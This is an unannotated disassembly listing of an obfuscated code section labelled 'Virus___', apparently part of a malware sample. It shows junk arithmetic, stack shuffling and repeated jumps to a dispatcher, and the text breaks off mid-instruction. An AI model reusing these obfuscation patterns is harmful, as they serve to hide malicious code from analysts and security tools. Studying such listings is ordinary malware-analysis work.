--------------------------------------------------------------------------- loc_581BB9: ; CODE XREF: Virus___:0058C23Cj mov ebp, 77DD00F5h sub ebp, 12902488h jmp loc_5916C5 ; --------------------------------------------------------------------------- loc_581BC9: ; CODE XREF: Virus___:005868C6j sub dword ptr [esp], 38217EEEh sub dword ptr [esp], 16481E01h add [esp], eax add dword ptr [esp], 16481E01h add dword ptr [esp], 38217EEEh add dword ptr [esp], 1A270839h jmp loc_5867A2 ; --------------------------------------------------------------------------- loc_581BF4: ; CODE XREF: Virus___:00594412j not ecx sub ecx, 715C3B40h xchg ebp, ecx not ebp xchg ebp, ecx xchg ebx, ecx not ebx xchg ebx, ecx jmp loc_58CB58 ; --------------------------------------------------------------------------- loc_581C0D: ; CODE XREF: Virus___:0058690Dj push dword ptr [esp] pop esi add esp, 4 pop dword ptr [esp] mov esp, [esp] xor [esp], eax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_581C26: ; CODE XREF: Virus___:0058EA84j push 864h mov [esp], eax sub esp, 4 jmp loc_589163 ; --------------------------------------------------------------------------- loc_581C36: ; CODE XREF: Virus___:0058803Dj sub ebp, 1 not ebp xor ebp, 0E660A9FAh jmp loc_58C01D ; --------------------------------------------------------------------------- loc_581C49: ; CODE XREF: Virus___:0058D8B7j mov ebx, [esp] add esp, 4 jmp loc_57FD14 ; --------------------------------------------------------------------------- loc_581C54: ; CODE XREF: Virus___:0058CEB5j push ebx mov ebx, 4ABB497Dh jmp loc_5805AA ; --------------------------------------------------------------------------- loc_581C5F: ; CODE XREF: Virus___:0058C758j xor edi, ecx jmp loc_591E32 ; --------------------------------------------------------------------------- loc_581C66: ; CODE XREF: Virus___:005859A3j sub ebp, edi jmp loc_5913F8 ; --------------------------------------------------------------------------- loc_581C6D: ; CODE XREF: Virus___:0058C8CEj neg ebx neg ebx sub ebx, 4019371Eh jmp loc_585701 ; --------------------------------------------------------------------------- loc_581C7C: ; CODE XREF: Virus___:005885FCj mov [edi+20h], ebx pop ebx push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 push eax jmp loc_581F04 ; --------------------------------------------------------------------------- loc_581C93: ; CODE XREF: Virus___:00587F40j and eax, ebp push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] jmp loc_58C3E2 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], eax mov eax, esp jmp loc_586C44 ; --------------------------------------------------------------------------- loc_581CB6: ; CODE XREF: Virus___:005820D8j add edx, ebx add edx, 7AA1556Dh jmp loc_588EA9 ; --------------------------------------------------------------------------- loc_581CC3: ; CODE XREF: Virus___:0058A9AFj mov edi, 2D5468B2h jmp loc_58876D ; --------------------------------------------------------------------------- loc_581CCD: ; CODE XREF: Virus___:0059243Dj mov ebx, esp push esi mov esi, 4 add ebx, esi pop esi sub esp, 4 mov [esp], edi jmp loc_5864A6 ; --------------------------------------------------------------------------- loc_581CE3: ; CODE XREF: Virus___:005870AEj add eax, 46403619h pop ecx mov ebp, eax mov eax, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 push esi mov esi, 35214BE8h xor esi, 14FA47D6h neg esi xor esi, 6307C6Bh not esi and esi, 26242B4Dh sub esi, 26202040h sub ebx, esi jmp loc_58B354 ; --------------------------------------------------------------------------- loc_581D26: ; CODE XREF: Virus___:0058C345j not edi and edi, 172D21EDh jmp loc_588601 ; --------------------------------------------------------------------------- loc_581D33: ; CODE XREF: Virus___:00585390j pop ebx jmp loc_58090D ; --------------------------------------------------------------------------- loc_581D39: ; CODE XREF: Virus___:00590BE1j pop ebp pop dword ptr [esp] jmp loc_58EC13 ; --------------------------------------------------------------------------- loc_581D42: ; CODE XREF: Virus___:00582550j pop esp sub esp, 4 mov [esp], edi jmp loc_58FE97 ; --------------------------------------------------------------------------- loc_581D51: ; CODE XREF: Virus___:005862E8j mov esi, 4 add ebx, esi jmp loc_591689 ; --------------------------------------------------------------------------- loc_581D5D: ; CODE XREF: Virus___:00582215j mov esi, edx jmp loc_57FF98 ; --------------------------------------------------------------------------- loc_581D64: ; CODE XREF: Virus___:00582E8Ej add esp, 4 add edx, 75D16975h jmp loc_58C8F3 ; --------------------------------------------------------------------------- loc_581D75: ; CODE XREF: Virus___:00581AA8j pop dword ptr [esp] mov esp, [esp] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_581D80: ; CODE XREF: Virus___:0058833Ej mov [esp], ebp mov ebp, 0C9696Bh jmp loc_584234 ; --------------------------------------------------------------------------- loc_581D8D: ; CODE XREF: Virus___:00591DEAj mov ebx, 601B31BCh or ebx, 338B244Ch or ebx, 40A8669Bh sub ebx, 5401154Eh xor ebx, 1B4A7168h xor ebp, ebx pop ebx jmp loc_586558 ; --------------------------------------------------------------------------- loc_581DB2: ; CODE XREF: Virus___:00588E4Ej sub [esp], ebx jmp loc_59180B ; --------------------------------------------------------------------------- loc_581DBA: ; CODE XREF: Virus___:00594493j sub edi, 245136C3h sub edi, 755E3E05h add edi, 0F19D59FCh xor eax, edi pop edi sub esi, eax jmp loc_5859C6 ; --------------------------------------------------------------------------- loc_581DD6: ; CODE XREF: Virus___:0058709Dj mov esp, [esp] push ecx push ebx mov bl, 42h jmp loc_58C7F4 ; --------------------------------------------------------------------------- loc_581DE2: ; CODE XREF: Virus___:00590E48j mov ebx, 0C5A33549h xor edi, ebx pop ebx jmp loc_5881D1 ; --------------------------------------------------------------------------- loc_581DEF: ; CODE XREF: Virus___:00592252j or edx, ecx pop ecx push ecx mov ecx, 54C76E5Bh jmp loc_58357F ; --------------------------------------------------------------------------- loc_581DFD: ; CODE XREF: Virus___:00582DAFj shr eax, 2 sub eax, 1 dec eax or eax, 11F05669h add eax, 5B12C1D4h sub esi, eax pop eax sub ebx, 1822139Dh add ebx, esi add ebx, 1822139Dh mov esi, [esp] push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_58B439 ; --------------------------------------------------------------------------- loc_581E3B: ; CODE XREF: Virus___:00583A98j shr ecx, 6 add ecx, 59799CFDh sub ebx, ecx pop ecx pop dword ptr [eax] jmp loc_57F37C ; --------------------------------------------------------------------------- loc_581E4E: ; CODE XREF: Virus___:005824B9j sub eax, 4 xchg eax, [esp] jmp loc_58CA7A ; --------------------------------------------------------------------------- loc_581E5B: ; CODE XREF: Virus___:0058FC1Aj pop esp push 6B44h mov [esp], edx push ebp jmp loc_594092 ; --------------------------------------------------------------------------- loc_581E6A: ; CODE XREF: Virus___:00582475j add ebx, ebp add ebx, 7D5746h jmp loc_58C8D3 ; --------------------------------------------------------------------------- loc_581E77: ; CODE XREF: Virus___:00581E8Bj pop eax or cl, dl mov dx, [esp] add esp, 2 shr cl, 1 jmp loc_57FB1A ; --------------------------------------------------------------------------- loc_581E88: ; CODE XREF: Virus___:005930BDj add esp, 4 jmp loc_581E77 ; --------------------------------------------------------------------------- loc_581E90: ; CODE XREF: Virus___:00584B3Ej pop ebx sub cl, 23h push 4ABEh mov [esp], ebx push ecx mov cl, 2Ah shl cl, 4 jmp loc_586EEB ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_57F7E5 ; --------------------------------------------------------------------------- loc_581EAF: ; CODE XREF: Virus___:0058DC55j sub esp, 4 mov [esp], eax mov eax, 7A965325h shl eax, 1 add eax, 558351Bh sub eax, 11EC6C3Eh shl eax, 6 jmp loc_58BFD0 ; --------------------------------------------------------------------------- loc_581ECE: ; CODE XREF: Virus___:00580A76j add ecx, esi pop esi jmp loc_58BC24 ; --------------------------------------------------------------------------- loc_581ED6: ; CODE XREF: Virus___:00592F3Ej pop esp mov [esp], esp push esi jmp loc_58C5FA ; --------------------------------------------------------------------------- loc_581EE0: ; CODE XREF: Virus___:0058FA4Ej sub edi, eax jmp loc_5913E1 ; --------------------------------------------------------------------------- loc_581EE7: ; CODE XREF: Virus___:0058F9D5j mov esp, [esp] imul cl movzx cx, ah push small 3FD0h mov [esp], cx movzx cx, al push cx pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_581F04: ; CODE XREF: Virus___:00581C8Ej mov eax, esp jmp loc_588B85 ; --------------------------------------------------------------------------- loc_581F0B: ; CODE XREF: Virus___:005881B8j add esp, 4 jmp loc_58AC7D ; --------------------------------------------------------------------------- loc_581F13: ; CODE XREF: Virus___:0058E0C1j dec ebp neg ebp jmp loc_5944B3 ; --------------------------------------------------------------------------- unk_581F1B db 0 ; CODE XREF: Virus___:0058B8F8j ; --------------------------------------------------------------------------- enter 6659h, 52h mov dl, 0Dh sub al, dl pop dx add al, bl add al, 0Dh sub al, 50h jmp loc_580BE1 ; --------------------------------------------------------------------------- loc_581F31: ; CODE XREF: Virus___:00592CFEj xor ebp, [esp] xor [esp], ebp jmp loc_58D982 ; --------------------------------------------------------------------------- loc_581F3C: ; CODE XREF: Virus___:00580D66j push eax mov eax, 28C360B7h xor eax, 28C360B3h jmp loc_5831AD ; --------------------------------------------------------------------------- loc_581F4C: ; CODE XREF: Virus___:00589205j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push 345Ah mov [esp], ebx jmp loc_5849A8 ; --------------------------------------------------------------------------- loc_581F63: ; CODE XREF: Virus___:0058E6D5j shl ebx, 8 jmp loc_57F730 ; --------------------------------------------------------------------------- loc_581F6B: ; CODE XREF: Virus___:0058DB3Dj mov ecx, [esp] add esp, 4 push ebp mov ebp, 75100A84h sub esp, 4 mov [esp], eax mov eax, 10E73F69h jmp loc_58179F ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp push 788Dh mov [esp], ebp push ecx jmp loc_58FA32 ; --------------------------------------------------------------------------- loc_581FA4: ; CODE XREF: Virus___:0058F80Fj add esp, 4 xor ecx, 0FFD83A9Dh add ebx, ecx mov ecx, [esp] jmp loc_58633B ; --------------------------------------------------------------------------- loc_581FBA: ; CODE XREF: Virus___:0058E9F2j mov fs:[edx], ax jmp loc_583702 ; --------------------------------------------------------------------------- loc_581FC3: ; CODE XREF: Virus___:0057FB98j dec ebx inc ebx shr ebx, 6 jmp loc_58B14A ; --------------------------------------------------------------------------- loc_581FCD: ; CODE XREF: Virus___:0058CBADj add cl, bh pop ebx xor dh, cl pop ecx sub al, dh mov edx, [esp] jmp loc_58D8A0 ; --------------------------------------------------------------------------- loc_581FDD: ; CODE XREF: Virus___:00591E42j pop esp jmp loc_58372D ; --------------------------------------------------------------------------- loc_581FE3: ; CODE XREF: Virus___:0058E815j push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp xor ebx, eax mov dx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_583341 ; --------------------------------------------------------------------------- loc_582009: ; CODE XREF: Virus___:00580684j and eax, edi pop edi jmp loc_584BEC ; --------------------------------------------------------------------------- loc_582011: ; CODE XREF: Virus___:00591547j push eax mov eax, 17F3EBFh sub eax, 0EE3E33CFh sub edx, eax jmp loc_582F75 ; --------------------------------------------------------------------------- loc_582023: ; CODE XREF: Virus___:005823ABj mov eax, [esp] jmp loc_58ABAD ; --------------------------------------------------------------------------- loc_58202B: ; CODE XREF: Virus___:0057F720j push edi mov edi, esp add edi, 4 push ebx jmp loc_58AAFE ; --------------------------------------------------------------------------- loc_58203A: ; CODE XREF: Virus___:0058EA03j pop esp mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], ebx push ebp mov ebp, 449B7E3Eh jmp loc_5920B1 ; --------------------------------------------------------------------------- loc_58205A: ; CODE XREF: Virus___:0059115Dj add ecx, 4 add ecx, 4 jmp loc_592E40 ; --------------------------------------------------------------------------- loc_582068: ; CODE XREF: Virus___:00584DD9j add dword ptr [esp], 4 pop ebx jmp loc_58C7BB ; --------------------------------------------------------------------------- loc_582075: ; CODE XREF: Virus___:005825D5j add esp, 4 xor bl, al movzx eax, al push esi push esp pop esi jmp loc_58EA89 ; --------------------------------------------------------------------------- loc_582088: ; CODE XREF: Virus___:0058E8CAj push ecx mov ecx, 7A19335Dh xor edi, ecx pop ecx push ebp mov ebp, 5F252468h add ebp, 1CC90F2Ch push eax push ebp mov ebp, 49E450ABh mov eax, 39544EFFh xor eax, ebp pop ebp add ebp, 6C6D62A0h add ebp, eax jmp loc_588F17 ; --------------------------------------------------------------------------- loc_5820B9: ; CODE XREF: Virus___:00586D41j pop ecx jmp loc_58EB70 ; --------------------------------------------------------------------------- loc_5820BF: ; CODE XREF: Virus___:0058AB24j add edx, 57023F39h add edx, 4F3E3E0Eh pop eax push ebx mov ebx, 4 sub edx, 7AA1556Dh jmp loc_581CB6 ; --------------------------------------------------------------------------- loc_5820DD: ; CODE XREF: Virus___:00583CD4j xchg edi, [esp] jmp loc_5925B5 ; --------------------------------------------------------------------------- loc_5820E5: ; CODE XREF: Virus___:00593DF3j add esp, 4 push 7056h mov [esp], edx mov edx, esp add edx, 4 push ecx mov ecx, esp jmp loc_593175 ; --------------------------------------------------------------------------- loc_582103: ; CODE XREF: Virus___:0058E5B0j push 3BABh mov [esp], edi push dword ptr [esp+4] push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_58DA73 ; --------------------------------------------------------------------------- loc_582120: ; CODE XREF: Virus___:00587363j pop esp jmp loc_58BC76 ; --------------------------------------------------------------------------- loc_582126: ; CODE XREF: Virus___:00583A1Cj mov ebp, [esp] push edx jmp loc_5911A3 ; --------------------------------------------------------------------------- loc_58212F: ; CODE XREF: Virus___:0058ED7Fj push edx push esi push eax jmp loc_58C0CE ; --------------------------------------------------------------------------- loc_582137: ; CODE XREF: Virus___:00591E5Ej pop ecx pop dword ptr [esp] jmp loc_587D6C ; --------------------------------------------------------------------------- loc_582140: ; CODE XREF: Virus___:0058A72Fj mov esp, [esp] jmp loc_580D8A ; --------------------------------------------------------------------------- loc_582148: ; CODE XREF: Virus___:00584928j mov edx, [esp] add esp, 4 loc_582151: ; CODE XREF: Virus___:005928AEj push ebx sub esp, 4 mov [esp], ebp mov ebp, 90B503Ch sub [esp+4], ebp pop ebp push dword ptr [esp] pop ebx sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 jmp loc_5806F7 ; --------------------------------------------------------------------------- loc_582182: ; CODE XREF: Virus___:0058BB84j dec ebp shl ebp, 7 sub ebp, 421C57Ch sub ebx, 62D097Fh sub ebx, ebp add ebx, 62D097Fh pop ebp xchg ebx, [esp] pop esp mov [esp], ebp push edx push ebp mov ebp, 2719470Bh add ebp, 7C5364D9h xor ebp, 990AD90Eh push ecx mov ecx, ebp jmp loc_5941E2 ; --------------------------------------------------------------------------- loc_5821BD: ; CODE XREF: Virus___:00584421j sub esp, 4 mov [esp], ebx mov ebx, 20CD14CFh sub esp, 4 mov [esp], ebx xchg edx, [esp] not edx xchg edx, [esp] mov ebx, [esp] add esp, 4 push esi mov esi, esp jmp loc_582A15 ; --------------------------------------------------------------------------- loc_5821E7: ; CODE XREF: Virus___:0058C283j push 1D08h mov [esp], ebp mov ebp, 5A616FEh jmp loc_5817AB ; --------------------------------------------------------------------------- loc_5821F9: ; CODE XREF: Virus___:00582B2Fj sub dword ptr [esp], 48AF343Ch jmp loc_5894BC ; --------------------------------------------------------------------------- loc_582205: ; CODE XREF: Virus___:00591FFDj mov esi, [esp] jmp loc_58E06C ; --------------------------------------------------------------------------- loc_58220D: ; CODE XREF: Virus___:00580BDCj neg edx xor edx, 0C95D01E4h jmp loc_581D5D ; --------------------------------------------------------------------------- loc_58221A: ; CODE XREF: Virus___:0058B8ABj mov esp, [esp] add esp, 4 jmp loc_584711 ; --------------------------------------------------------------------------- loc_582228: ; CODE XREF: Virus___:00589631j push ebp push 21A1h jmp loc_58BF9C ; --------------------------------------------------------------------------- loc_582233: ; CODE XREF: Virus___:00583C1Fj xchg esi, [esp] pop esp mov [esp], eax jmp loc_592C97 ; --------------------------------------------------------------------------- loc_58223F: ; CODE XREF: Virus___:005932BCj pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp sub al, 0E8h jmp loc_59144A ; --------------------------------------------------------------------------- loc_582251: ; CODE XREF: Virus___:0058B8A0j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58AB5A ; --------------------------------------------------------------------------- loc_582261: ; CODE XREF: Virus___:00591D4Cj mov al, 2Bh xor bh, al mov ax, [esp] jmp loc_58BF81 ; --------------------------------------------------------------------------- loc_58226E: ; CODE XREF: Virus___:005890C1j mov ebp, ecx pop ecx shr ebp, 7 shl ebp, 7 jmp loc_580476 ; --------------------------------------------------------------------------- loc_58227C: ; CODE XREF: Virus___:00589253j push edi jmp loc_580839 ; --------------------------------------------------------------------------- loc_582282: ; CODE XREF: Virus___:0058E83Bj push edi mov edi, esp sub esp, 4 mov [esp], ecx push 5610h jmp loc_57F93F ; --------------------------------------------------------------------------- loc_582295: ; CODE XREF: Virus___:00584286j pop edi not ecx inc ecx not ecx not ecx jmp loc_58094E ; --------------------------------------------------------------------------- loc_5822A2: ; CODE XREF: Virus___:00580691j pop ecx push edi push ecx mov ecx, 432F04A1h mov edi, 0F9AB4509h add edi, ecx pop ecx sub edi, 0FFFFFFFFh xor edi, 0A067762Ah sub eax, edi pop edi add edi, 3C335A54h add edi, 5C5968AEh add edi, eax sub edi, 5C5968AEh sub edi, 3C335A54h pop eax push edi pop ecx pop edi jmp loc_580F9F ; --------------------------------------------------------------------------- loc_5822E1: ; CODE XREF: Virus___:00587E2Aj push eax jmp loc_58E11C ; --------------------------------------------------------------------------- loc_5822E7: ; CODE XREF: Virus___:00591008j push ebp push edi mov edi, 5C4009Eh mov ebp, 5F306509h add ebp, edi jmp loc_5850D8 ; --------------------------------------------------------------------------- loc_5822FA: ; CODE XREF: Virus___:0058398Aj push ebp jmp loc_58ABE1 ; --------------------------------------------------------------------------- loc_582300: ; CODE XREF: Virus___:0058689Fj push 50CEh mov [esp], esi jmp loc_5860DB ; --------------------------------------------------------------------------- loc_58230D: ; CODE XREF: Virus___:00587D0Bj add edi, 4CD03D7Ah jmp loc_58B73C ; --------------------------------------------------------------------------- loc_582318: ; CODE XREF: Virus___:00584A44j mov ecx, [esp] add esp, 4 mov ebx, [esp] add esp, 4 add dword ptr [esp+4], 24ED5E45h jmp loc_5933ED ; --------------------------------------------------------------------------- loc_582334: ; CODE XREF: Virus___:0058558Aj add edi, 39EF7165h pop ebp jmp loc_58F20A ; --------------------------------------------------------------------------- loc_582340: ; CODE XREF: Virus___:00583C8Ej add ebp, ecx mov ecx, [esp] add esp, 4 xor ecx, ebp mov ebp, [esp] sub esp, 4 mov [esp], edi mov edi, esp jmp loc_587120 ; --------------------------------------------------------------------------- loc_58235D: ; CODE XREF: Virus___:0058F2D4j mov eax, [esp] jmp loc_591E29 ; --------------------------------------------------------------------------- loc_582365: ; CODE XREF: Virus___:0058DF5Fj mov edx, esp jmp loc_58194B ; --------------------------------------------------------------------------- loc_58236C: ; CODE XREF: Virus___:00587712j add esp, 4 add esp, 4 jmp loc_58D95B ; --------------------------------------------------------------------------- loc_582377: ; CODE XREF: Virus___:00590C33j mov eax, [esp] add esp, 4 xchg edx, [esp] jmp loc_58422A ; --------------------------------------------------------------------------- loc_582388: ; CODE XREF: Virus___:00593FBAj mov eax, 1DA932DBh add eax, 347013A3h mov ebp, eax mov eax, [esp] jmp loc_592314 ; --------------------------------------------------------------------------- loc_58239C: ; CODE XREF: Virus___:00587FF3j mov [esp], ecx push eax push 8AB20BDh push dword ptr [esp] pop eax push eax push esp jmp loc_582023 ; --------------------------------------------------------------------------- loc_5823B0: ; CODE XREF: Virus___:005809A4j add ax, dx pop dx sub ax, 0E851h add cx, 6544h add cx, ax sub cx, 6544h pop eax sub ax, cx push dword ptr [esp] jmp loc_58E18C ; --------------------------------------------------------------------------- loc_5823D2: ; CODE XREF: Virus___:0058E2E7j mov ebp, ecx pop ecx add ebx, ebp pop ebp jmp loc_58CF2C ; --------------------------------------------------------------------------- loc_5823DD: ; CODE XREF: Virus___:005944C5j push eax mov eax, 7E2D2A74h add edi, eax jmp loc_585A24 ; --------------------------------------------------------------------------- loc_5823EA: ; CODE XREF: Virus___:005806AAj add ebp, ebx jmp loc_58CD27 ; --------------------------------------------------------------------------- loc_5823F1: ; CODE XREF: Virus___:00583162j mov [esp], ecx mov ecx, 0CC449E6h mov edi, ecx pop ecx mov ebp, edi push dword ptr [esp] pop edi add esp, 4 push ebx mov ebx, 7BB62D8Dh add ebp, ebx mov ebx, [esp] add esp, 4 push edx push edi mov edi, 39516FBEh mov edx, 0C1CBE730h sub edx, edi pop edi sub ebp, edx pop edx push ebx push 53E6h mov [esp], esi mov esi, ebp mov ebx, esi mov esi, [esp] push esi mov esi, esp add esi, 4 jmp loc_5860A9 ; --------------------------------------------------------------------------- loc_582446: ; CODE XREF: Virus___:0059432Fj inc esi dec esi add esi, 0A7420000h sub edx, esi jmp loc_593D07 ; --------------------------------------------------------------------------- loc_582455: ; CODE XREF: Virus___:0058B67Ej pop ebx push ebp mov ebp, 0D244096h dec ebp sub ebp, 508C4AE7h and ebp, 78016C50h sub ebp, 380163FCh sub ebx, 7D5746h jmp loc_581E6A ; --------------------------------------------------------------------------- loc_58247A: ; CODE XREF: Virus___:005935F5j pop esp xor edx, [edi+24h] push ecx mov ecx, 24h add ecx, 7FCD502Fh add ecx, edi jmp loc_591A97 ; --------------------------------------------------------------------------- loc_582491: ; CODE XREF: Virus___:005927E8j mov [esp], ebx mov ebx, 5868458Bh shl ebx, 2 xor ebx, 0E881852h dec ebx not ebx and ebx, 34906BBh xor ebx, 0F0EADFC1h push eax mov eax, esp add eax, 4 jmp loc_581E4E ; --------------------------------------------------------------------------- loc_5824BE: ; CODE XREF: Virus___:00580D1Bj and eax, 34184F8Ah shr eax, 5 sub esp, 4 mov [esp], edx jmp loc_581494 ; --------------------------------------------------------------------------- loc_5824D1: ; CODE XREF: Virus___:005853F1j sub al, dl add al, 0EBh pop edx push dword ptr [esp] pop ecx jmp loc_584CD4 ; --------------------------------------------------------------------------- loc_5824DF: ; CODE XREF: Virus___:00592F36j sub ebx, 2691317Bh add ebx, esi jmp loc_587B83 ; --------------------------------------------------------------------------- loc_5824EC: ; CODE XREF: Virus___:0058B2BFj sub ebx, 71D81B28h push edx mov edx, 783063FFh push ebp mov ebp, 293D28A7h jmp loc_58161B ; --------------------------------------------------------------------------- loc_582503: ; CODE XREF: Virus___:0058C5A8j pop edx add ebp, eax sub ebp, 4A162C81h mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] dec word ptr [esp] pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_582538: ; CODE XREF: Virus___:00581B26j pop edx sub ecx, 6A124DB3h add ecx, esi add ecx, 6A124DB3h pop esi jmp loc_583497 ; --------------------------------------------------------------------------- loc_58254D: ; CODE XREF: Virus___:005936BCj xor ebx, [esp] jmp loc_581D42 ; --------------------------------------------------------------------------- loc_582555: ; CODE XREF: Virus___:00582905j pop edx add bl, al push 5913h mov [esp], edx push 75C2h jmp loc_57F921 ; --------------------------------------------------------------------------- loc_58256A: ; CODE XREF: Virus___:00587C23j pop edx add al, bl mov ebx, [esp] jmp loc_58B8E4 ; --------------------------------------------------------------------------- loc_582575: ; CODE XREF: Virus___:0058D00Aj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_58AF6B ; --------------------------------------------------------------------------- loc_58258D: ; CODE XREF: Virus___:00591C72j sub edi, 0FFFFFFFFh shl edi, 1 and edi, 46E27DF3h push ecx mov ecx, 2CDD123Bh add edi, ecx mov ecx, [esp] add esp, 4 sub eax, 5A196062h add eax, edi add eax, 5A196062h pop edi push 7A99h mov [esp], edi push ebp mov ebp, 3A7B72D3h mov edi, ebp pop ebp jmp loc_58CB2B ; --------------------------------------------------------------------------- loc_5825CC: ; CODE XREF: Virus___:0058C05Cj add al, dh sub al, 49h add al, 0FEh mov edx, [esp] jmp loc_582075 ; --------------------------------------------------------------------------- loc_5825DA: ; CODE XREF: Virus___:0058ADA5j mov ebp, 28F828A7h jmp loc_58E0BE ; --------------------------------------------------------------------------- loc_5825E4: ; CODE XREF: Virus___:0058A85Aj mov cl, 53h push small 0 jmp loc_5929B2 ; --------------------------------------------------------------------------- loc_5825EF: ; CODE XREF: Virus___:00580A9Cj mov ecx, [esp] jmp loc_58B8FD ; --------------------------------------------------------------------------- loc_5825F7: ; CODE XREF: Virus___:0058C814j pop edi jmp loc_58E744 ; --------------------------------------------------------------------------- loc_5825FD: ; CODE XREF: Virus___:00580260j xor eax, edx xor edx, eax jmp loc_591059 ; --------------------------------------------------------------------------- loc_582606: ; CODE XREF: Virus___:00589E7Bj sub al, 46h jmp loc_58A6D6 ; --------------------------------------------------------------------------- loc_58260D: ; CODE XREF: Virus___:00580039j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_587FEE ; --------------------------------------------------------------------------- loc_582622: ; CODE XREF: Virus___:00594086j pop edi add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_593B52 ; --------------------------------------------------------------------------- loc_582635: ; CODE XREF: Virus___:00588D86j add bl, al jmp loc_5926BD ; --------------------------------------------------------------------------- loc_58263C: ; CODE XREF: Virus___:0058A129j add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push 46Bh mov [esp], ebp mov ebp, 2 add ebx, 19201A89h jmp loc_580875 ; --------------------------------------------------------------------------- loc_582663: ; CODE XREF: Virus___:005846E0j pop ecx jmp loc_59264B ; --------------------------------------------------------------------------- loc_582669: ; CODE XREF: Virus___:00580933j push ebx jmp loc_5807D7 ; --------------------------------------------------------------------------- loc_58266F: ; CODE XREF: Virus___:0058E216j xor ebp, [esp] pop esp and eax, edi jmp loc_592DB1 ; --------------------------------------------------------------------------- loc_58267A: ; CODE XREF: Virus___:0058CE81j push ecx jmp loc_594189 ; --------------------------------------------------------------------------- loc_582680: ; CODE XREF: Virus___:0058D4AFj dec ecx and ecx, 75756680h sub ecx, 8770BE1h and edx, ecx pop ecx add edx, 0E48A2863h sub eax, 29C20D64h add eax, edx push edx push 65ADh mov [esp], ecx mov ecx, 1F85329Dh push ebx push 65ACh mov [esp], ebp mov ebp, 2CA745A8h mov ebx, 2CE5D462h jmp loc_58AE51 ; --------------------------------------------------------------------------- loc_5826C3: ; CODE XREF: Virus___:00589BBEj mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5826CF: ; CODE XREF: Virus___:0058D876j mov edi, 62A844E0h mov ebp, edi pop edi dec ebp neg ebp not ebp jmp loc_589845 ; --------------------------------------------------------------------------- loc_5826E1: ; CODE XREF: Virus___:0058E4B2j push esi mov esi, 1F5D0B4Ch sub esi, 0FFFFFFFFh dec esi jmp loc_593B19 ; --------------------------------------------------------------------------- loc_5826F3: ; CODE XREF: Virus___:00593A14j xor ecx, 3DF7F72Fh jmp loc_58B5F6 ; --------------------------------------------------------------------------- loc_5826FE: ; CODE XREF: Virus___:005936E9j xor edi, [esp] jmp loc_591162 ; --------------------------------------------------------------------------- loc_582706: ; CODE XREF: Virus___:0058C150j xor al, 50h add al, 5 add ch, al pop eax add ch, 0DEh add ch, al jmp loc_58B63E ; --------------------------------------------------------------------------- loc_582717: ; CODE XREF: Virus___:0058A63Dj mov eax, 5E524F81h or esi, eax jmp loc_585EDB ; --------------------------------------------------------------------------- loc_582723: ; CODE XREF: Virus___:00584623j add ebx, edx sub ebx, 1BB95DF6h mov edx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_5868B3 ; --------------------------------------------------------------------------- loc_58273C: ; CODE XREF: Virus___:00591A1Ej pop ebp sub eax, 0CF7F6F65h jmp loc_590600 ; --------------------------------------------------------------------------- loc_582747: ; CODE XREF: Virus___:0058906Bj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 2F46h mov [esp], eax push 2B535A12h mov eax, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_5864BC ; --------------------------------------------------------------------------- loc_582772: ; CODE XREF: Virus___:00581A72j mov edi, 5D645B49h xor edi, 5D645B4Dh add esi, 19BA51A6h add esi, edi sub esi, 19BA51A6h pop edi sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], edx jmp loc_591777 ; --------------------------------------------------------------------------- loc_5827A6: ; CODE XREF: Virus___:005885CBj push ecx push ebx jmp loc_588E53 ; --------------------------------------------------------------------------- loc_5827AD: ; CODE XREF: Virus___:00590309j pop esp mov [esp], eax pop eax jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5827B7: ; CODE XREF: Virus___:00588F33j push ebx mov ebx, 7C8316DCh jmp loc_5935B7 ; --------------------------------------------------------------------------- loc_5827C2: ; CODE XREF: Virus___:005924C1j pop esp jmp loc_58E38F ; --------------------------------------------------------------------------- loc_5827C8: ; CODE XREF: Virus___:00592897j add esp, 4 jmp loc_59243C ; --------------------------------------------------------------------------- loc_5827D3: ; CODE XREF: Virus___:00588B8Aj push ecx mov ecx, 4 add eax, ecx pop ecx xchg eax, [esp] pop esp jmp loc_58F9C7 ; --------------------------------------------------------------------------- loc_5827E5: ; CODE XREF: Virus___:005915DDj pop esi jmp loc_584F18 ; --------------------------------------------------------------------------- loc_5827EB: ; CODE XREF: Virus___:00591445j push edi push esi jmp loc_58F34C ; --------------------------------------------------------------------------- loc_5827F2: ; CODE XREF: Virus___:005850FBj mov edi, ebx pop ebx neg edi add edi, 1 xor edi, 19A1024Ch not edi xor edi, 32715FF0h sub edi, 17D081FBh sub ebp, edi pop edi sub edi, 581771AFh sub edi, ebp add edi, 